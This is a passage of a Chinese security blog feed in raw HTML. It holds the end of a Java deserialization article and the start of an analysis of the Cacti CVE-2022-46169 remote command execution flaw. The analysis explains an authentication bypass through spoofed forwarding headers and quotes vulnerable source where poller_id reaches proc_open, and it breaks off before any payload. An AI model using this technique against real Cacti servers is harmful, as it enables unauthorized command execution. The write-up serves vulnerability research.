#34;:{&#34;width&#34;:637,&#34;height&#34;:1760},&#34;loading&#34;:false}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;np3H-1673920001206&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;DBsz-1673920001205&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}}]" style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);text-align: start;white-space: normal;"><p><img class="rich_pages wxw-img" data-ratio="0.8551992225461613" style="width: 635px;height: 546px;" data-type="png" data-w="2058" src="https://wechat2rss.xlab.app/img-proxy/?k=4a0d94c8&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FYOLztAD7Qr7llSfutMHnJ5ib61L0ah21yuQ4ibF4Hziajca4KpagONia9hNsxYp1ialggfQKHKLFlH9Qib1pRsxD3m7Q%2F640%3Fwx_fmt%3Dpng"/></p><p><img class="rich_pages wxw-img" data-ratio="0.8551992225461613" style="width: 637px;height: 543px;" data-type="png" data-w="2058" src="https://wechat2rss.xlab.app/img-proxy/?k=b16ff805&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FYOLztAD7Qr7llSfutMHnJ5ib61L0ah21yrGcwTcZCrxM6jFicPzcW9uH0PIm0V1Otp84eiawuBlqtEYFwSRvBrcNA%2F640%3Fwx_fmt%3Dpng"/></p></article><p><br/></p><p><span style="font-weight: bold;font-size: 28px;">后记</span></p><article data-content="[{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;sfh5-1673941101504&#34;,&#34;name&#34;:&#34;code&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;language&#34;:&#34;java&#34;,&#34;theme&#34;:&#34;default&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;PPoc-1673941101487&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;DEeq-1673941101486&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;extractor&#34;,&#34;marks&#34;:[]}]}]}],&#34;state&#34;:{}}]" style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);text-align: start;white-space: normal;"><article data-content="[{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;3NKv-1673937258030&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{&#34;style&#34;:{&#34;textAlign&#34;:&#34;left&#34;}},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;pmp2-1673937258027&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;Oracle Coherence&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}}]" style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);text-align: start;white-space: normal;"><article data-content="[{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;sfh5-1673941101504&#34;,&#34;name&#34;:&#34;code&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;language&#34;:&#34;java&#34;,&#34;theme&#34;:&#34;default&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;PPoc-1673941101487&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;DEeq-1673941101486&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;extractor&#34;,&#34;marks&#34;:[]}]}]}],&#34;state&#34;:{}}]" style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);text-align: start;white-space: normal;"><p><span style="font-size: 15px;">Extractor导致的漏洞放在下一篇。</span></p></article></article></article><p><span style="font-size: 15px;"><br/></span></p><p><span style="font-size: 15px;">参考文章：</span></p><p><span style="color: rgb(0, 56, 132);"><a href="https://xz.aliyun.com/t/10365#toc-6" target="_blank">https://xz.aliyun.com/t/10365#toc-6</a></span></p><p><span style="color: rgb(0, 56, 132);"><a href="https://xz.aliyun.com/t/10563#toc-10" target="_blank">https://xz.aliyun.com/t/10563#toc-10</a></span></p><p><span style="color: rgb(0, 56, 132);"><a href="https://www.anquanke.com/post/id/226070#h2-15" target="_blank">https://www.anquanke.com/post/id/226070#h2-15</a></span></p><p><a href="https://mp.weixin.qq.com/s?__biz=MzU5NDgxODU1MQ==&amp;mid=2247485058&amp;idx=1&amp;sn=d22b310acf703a32d938a7087c8e8704&amp;scene=21#wechat_redirect" data-linktype="2"><span style="color: rgb(0, 56, 132);">https://mp.weixin.qq.com/s?__biz=MzU5NDgxODU1MQ==&amp;mid=2247485058&amp;idx=1&amp;sn=d22b310acf703a32d938a7087c8e8704</span></a></p><p><span style="color: rgb(0, 56, 132);"><a href="http://wjlshare.com/archives/1573" target="_blank">http://wjlshare.com/archives/1573</a></span></p><p><span style="color: rgb(0, 56, 132);"><a href="https://tttang.com/archive/1768/#toc_" target="_blank">https://tttang.com/archive/1768/#toc_</a></span></p></article><p><br/></p><p><br/></p><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>



<p><a href="2247484124">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=346b858e&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzg2MjgxOTc4MA%3D%3D%26mid%3D2247484124%26idx%3D1%26sn%3D6b9c9b97cbf5164a421f399597a52685%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Tue, 17 Jan 2023 17:57:00 +0800</pubDate>
    </item>
    <item>
      <title>Cacti-远程命令执行分析[CVE-2022-46169]</title>
      <link>https://mp.weixin.qq.com/s?__biz=Mzg2MjgxOTc4MA==&amp;mid=2247484070&amp;idx=1&amp;sn=621597343ca84b16ec574ce0e9b5a5c9</link>
      <description></description>
      <content:encoded><![CDATA[<p>
原创 <span>深蓝</span> <span>2022-12-16 00:00</span> <span style="display: inline-block;">北京</span>
</p>

<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=9d82da02&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FYOLztAD7Qr5uUnmcGcrcicnxMU9VMAt0pASHvpAEcIyvXydDQNjSx10A3Aftpsm7ho7e2s3SZpicmAzWVLib0xAjA%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<p><span style="font-size: 28px;font-weight: bold;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);text-align: start;">前言</span><br/></p><article data-content="[{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;3060-1621846615933&#34;,&#34;name&#34;:&#34;heading&#34;,&#34;data&#34;:{&#34;level&#34;:&#34;h1&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;p5PQ-1621846617594&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;前言&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Kypn-1670944015127&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{&#34;style&#34;:{&#34;textAlign&#34;:&#34;justify&#34;}},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;kRKU-1670944015126&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;Cacti项目是一个开源平台，可为用户提供强大且可扩展的操作监控和故障管理框架。&#34;,&#34;marks&#34;:[{&#34;type&#34;:&#34;fontSize&#34;,&#34;value&#34;:14}]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;m95h-1670944138962&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{&#34;version&#34;:1},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;5BLX-1670944138961&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;由于&#34;,&#34;marks&#34;:[{&#34;type&#34;:&#34;fontSize&#34;,&#34;value&#34;:14}]},{&#34;text&#34;:&#34;remote_agent.php&#34;,&#34;marks&#34;:[{&#34;type&#34;:&#34;color&#34;,&#34;value&#34;:&#34;#F33232&#34;},{&#34;type&#34;:&#34;italic&#34;},{&#34;type&#34;:&#34;fontSize&#34;,&#34;value&#34;:14}]},{&#34;text&#34;:&#34;中的case &#34;,&#34;marks&#34;:[{&#34;type&#34;:&#34;fontSize&#34;,&#34;value&#34;:14}]},{&#34;text&#34;:&#34;POLLER_ACTION_SCRIPT_PHP&#34;,&#34;marks&#34;:[{&#34;type&#34;:&#34;italic&#34;},{&#34;type&#34;:&#34;color&#34;,&#34;value&#34;:&#34;#F33232&#34;},{&#34;type&#34;:&#34;fontSize&#34;,&#34;value&#34;:14}]},{&#34;text&#34;:&#34; 在使用proc_open函数时未对传入的&#34;,&#34;marks&#34;:[{&#34;type&#34;:&#34;fontSize&#34;,&#34;value&#34;:14}]},{&#34;text&#34;:&#34;poller_id&#34;,&#34;marks&#34;:[{&#34;type&#34;:&#34;italic&#34;},{&#34;type&#34;:&#34;color&#34;,&#34;value&#34;:&#34;#F33232&#34;},{&#34;type&#34;:&#34;fontSize&#34;,&#34;value&#34;:14}]},{&#34;text&#34;:&#34;参数做严格过滤，攻击者可构造满足条件的payload对相关目标系统进行命令注入，导致远程命令执行。&#34;,&#34;marks&#34;:[{&#34;type&#34;:&#34;fontSize&#34;,&#34;value&#34;:14}]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;LLX4-1670946785956&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{&#34;version&#34;:1},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;JRbI-1670946785955&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;影响范围：&#34;,&#34;marks&#34;:[{&#34;type&#34;:&#34;fontSize&#34;,&#34;value&#34;:14}]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;elOT-1670946829580&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;jnxs-1670946829578&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;Cacti == 1.2.22&#34;,&#34;marks&#34;:[{&#34;type&#34;:&#34;fontSize&#34;,&#34;value&#34;:14}]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;b3R2-1670944037303&#34;,&#34;name&#34;:&#34;heading&#34;,&#34;data&#34;:{&#34;level&#34;:&#34;h1&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;g0Dc-1670944037302&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;正文 &#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;GkTc-1670946946282&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{&#34;version&#34;:1},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;sLK7-1670946946283&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;由于没有公开的poc，参考官方修复方案与漏洞描述进行poc挖掘与复现。&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;PylH-1670944022450&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{&#34;style&#34;:{&#34;textAlign&#34;:&#34;justify&#34;}},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Pyw7-1670944022448&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;环境搭建参考：&#34;,&#34;marks&#34;:[{&#34;type&#34;:&#34;fontSize&#34;,&#34;value&#34;:14}]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;mbVR-1670944833263&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;59kv-1670944833262&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]},{&#34;type&#34;:&#34;inline&#34;,&#34;id&#34;:&#34;kt2O-1670986967985&#34;,&#34;name&#34;:&#34;link&#34;,&#34;data&#34;:{&#34;href&#34;:&#34;https://blog.csdn.net/katrina0602/article/details/103710840&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Fyor-1670986967984&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;https://blog.csdn.net/katrina0602/article/details/103710840&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;7AGO-1670986967987&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[{&#34;type&#34;:&#34;fontSize&#34;,&#34;value&#34;:14}]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;9GHJ-1670944865609&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{&#34;style&#34;:{&#34;textAlign&#34;:&#34;justify&#34;}},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;d9ed-1670944865607&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;主要看remote_agent.php：&#34;,&#34;marks&#34;:[{&#34;type&#34;:&#34;fontSize&#34;,&#34;value&#34;:14}]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;IvDo-1670944910551&#34;,&#34;name&#34;:&#34;image&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;url&#34;:&#34;https://note.youdao.com/yws/res/4546/WEBRESOURCE973eff3bc6b0366b761c593f9be766d4&#34;,&#34;width&#34;:2952,&#34;height&#34;:1872},&#34;nodes&#34;:[],&#34;state&#34;:{&#34;renderSource&#34;:&#34;https://note.youdao.com/yws/res/4546/WEBRESOURCE973eff3bc6b0366b761c593f9be766d4&#34;,&#34;initialSize&#34;:{&#34;width&#34;:2952,&#34;height&#34;:1872},&#34;loading&#34;:false}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;bxA8-1670944823570&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{&#34;version&#34;:1},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;LkPA-1670944823571&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;在进行下一步操作前会调用&#34;,&#34;marks&#34;:[]},{&#34;text&#34;:&#34;remote_client_authorized()&#34;,&#34;marks&#34;:[{&#34;type&#34;:&#34;color&#34;,&#34;value&#34;:&#34;#F33232&#34;},{&#34;type&#34;:&#34;italic&#34;}]},{&#34;text&#34;:&#34;进行身份验证：&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;iqSJ-1670945157781&#34;,&#34;name&#34;:&#34;image&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;url&#34;:&#34;https://note.youdao.com/yws/res/4555/WEBRESOURCE85c5e7a0696023ff93dba2cf3f5bf985&#34;,&#34;width&#34;:2952,&#34;height&#34;:1872},&#34;nodes&#34;:[],&#34;state&#34;:{&#34;renderSource&#34;:&#34;https://note.youdao.com/yws/res/4555/WEBRESOURCE85c5e7a0696023ff93dba2cf3f5bf985&#34;,&#34;initialSize&#34;:{&#34;width&#34;:2952,&#34;height&#34;:1872},&#34;loading&#34;:false}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;t23l-1670944805341&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{&#34;version&#34;:1},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;ufUZ-1670944805342&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;首先会通过get_client_addr()函数获取client_addr，然后从数据库中获取pollers对象集合逐一比对poller的hostname字段，而get_client_addr()会从下述header头中取出client_addr的值。&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;L41b-1670945229821&#34;,&#34;name&#34;:&#34;image&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;url&#34;:&#34;https://note.youdao.com/yws/res/4557/WEBRESOURCE9e1ed9823c8fceb70631c10ab8cabf0d&#34;,&#34;width&#34;:2952,&#34;height&#34;:1872},&#34;nodes&#34;:[],&#34;state&#34;:{&#34;renderSource&#34;:&#34;https://note.youdao.com/yws/res/4557/WEBRESOURCE9e1ed9823c8fceb70631c10ab8cabf0d&#34;,&#34;initialSize&#34;:{&#34;width&#34;:2952,&#34;height&#34;:1872},&#34;loading&#34;:false}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;OjiS-1670944805551&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{&#34;version&#34;:1},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;9Ji4-1670944805549&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;要满足上述条件，显然我们需要数据库中有一个poller满足hostname与我们通过上述header头传输的client_addr值相等：&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;lCmr-1670986658173&#34;,&#34;name&#34;:&#34;image&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;url&#34;:&#34;https://note.youdao.com/yws/res/4630/WEBRESOURCEa2d2602493c09ccc5ba1c00b5e0d02d9&#34;,&#34;width&#34;:609,&#34;height&#34;:373},&#34;nodes&#34;:[],&#34;state&#34;:{&#34;renderSource&#34;:&#34;https://note.youdao.com/yws/res/4630/WEBRESOURCEa2d2602493c09ccc5ba1c00b5e0d02d9&#34;,&#34;initialSize&#34;:{&#34;width&#34;:609,&#34;height&#34;:1194},&#34;loading&#34;:false}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;8xVG-1670945538254&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{&#34;version&#34;:1},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Xzyp-1670945538253&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;同时经过测试X-Forwarded-For，Forwarded-For ，Client-ip能满足上述传值的条件：&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;BB5t-1670986852126&#34;,&#34;name&#34;:&#34;image&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;url&#34;:&#34;https://note.youdao.com/yws/res/4632/WEBRESOURCE3734c8e0be87bbe4a98dda57e160091a&#34;,&#34;width&#34;:605,&#34;height&#34;:599},&#34;nodes&#34;:[],&#34;state&#34;:{&#34;renderSource&#34;:&#34;https://note.youdao.com/yws/res/4632/WEBRESOURCE3734c8e0be87bbe4a98dda57e160091a&#34;,&#34;initialSize&#34;:{&#34;width&#34;:605,&#34;height&#34;:1002},&#34;loading&#34;:false}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;ZbdA-1670945603258&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{&#34;version&#34;:1},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Xzx6-1670945603256&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;至此我们成功绕过了身份校验访问到了remote_agent.php：&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Oaie-1670986901121&#34;,&#34;name&#34;:&#34;image&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;url&#34;:&#34;https://note.youdao.com/yws/res/4634/WEBRESOURCE5c90426fb2f3aa017de08ed88ec4bad9&#34;,&#34;width&#34;:832,&#34;height&#34;:565},&#34;nodes&#34;:[],&#34;state&#34;:{&#34;renderSource&#34;:&#34;https://note.youdao.com/yws/res/4634/WEBRESOURCE5c90426fb2f3aa017de08ed88ec4bad9&#34;,&#34;initialSize&#34;:{&#34;width&#34;:832,&#34;height&#34;:1028},&#34;loading&#34;:false}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;pQ62-1670945695242&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{&#34;version&#34;:1},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;JkNZ-1670945695240&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;接下来，会进入一个action的case逻辑中，可以看到polldata的逻辑中会调用poll_for_data()函数：&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;dHbe-1670945768965&#34;,&#34;name&#34;:&#34;image&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;url&#34;:&#34;https://note.youdao.com/yws/res/4575/WEBRESOURCEeebfec4bda7c2cfd326fcf731c9283fb&#34;,&#34;width&#34;:2952,&#34;height&#34;:1872},&#34;nodes&#34;:[],&#34;state&#34;:{&#34;renderSource&#34;:&#34;https://note.youdao.com/yws/res/4575/WEBRESOURCEeebfec4bda7c2cfd326fcf731c9283fb&#34;,&#34;initialSize&#34;:{&#34;width&#34;:2952,&#34;height&#34;:1872},&#34;loading&#34;:false}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;xX9D-1670945832286&#34;,&#34;name&#34;:&#34;code&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;language&#34;:&#34;&#34;,&#34;theme&#34;:&#34;default&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;gpKU-1670945832010&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;PhTO-1670945832009&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;function poll_for_data() {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;RmvM-1670945832012&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Zvuf-1670945832011&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;   global $config;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;YWem-1670945832014&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;MKtZ-1670945832013&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;U4Th-1670945832016&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;THbN-1670945832015&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;   $local_data_ids = get_nfilter_request_var(&#39;local_data_ids&#39;);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;MEx1-1670945832018&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;0nHU-1670945832017&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;   $host_id        = get_filter_request_var(&#39;host_id&#39;);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;NnRy-1670945832020&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;jxaR-1670945832019&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;   $poller_id      = get_nfilter_request_var(&#39;poller_id&#39;);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;BdYh-1670945832022&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;qAv6-1670945832021&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;   $return         = array();&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;C20A-1670945832024&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;GFDT-1670945832023&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;PBV4-1670945832026&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;9XOt-1670945832025&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;   $i = 0;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;qmMc-1670945832028&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;7ny8-1670945832027&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;KRBN-1670945832030&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;09ys-1670945832029&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;   if (cacti_sizeof($local_data_ids)) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;6Fvd-1670945832032&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;PofM-1670945832031&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;      foreach($local_data_ids as $local_data_id) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;tVng-1670945832034&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;x0El-1670945832033&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;         input_validate_input_number($local_data_id);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;968h-1670945832036&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;rhHa-1670945832035&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;4QHS-1670945832038&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;0lKc-1670945832037&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;         $items = db_fetch_assoc_prepared(&#39;SELECT *&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;dGM3-1670945832040&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;VrIi-1670945832039&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            FROM poller_item&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;iW43-1670945832042&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;jP04-1670945832041&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            WHERE host_id = 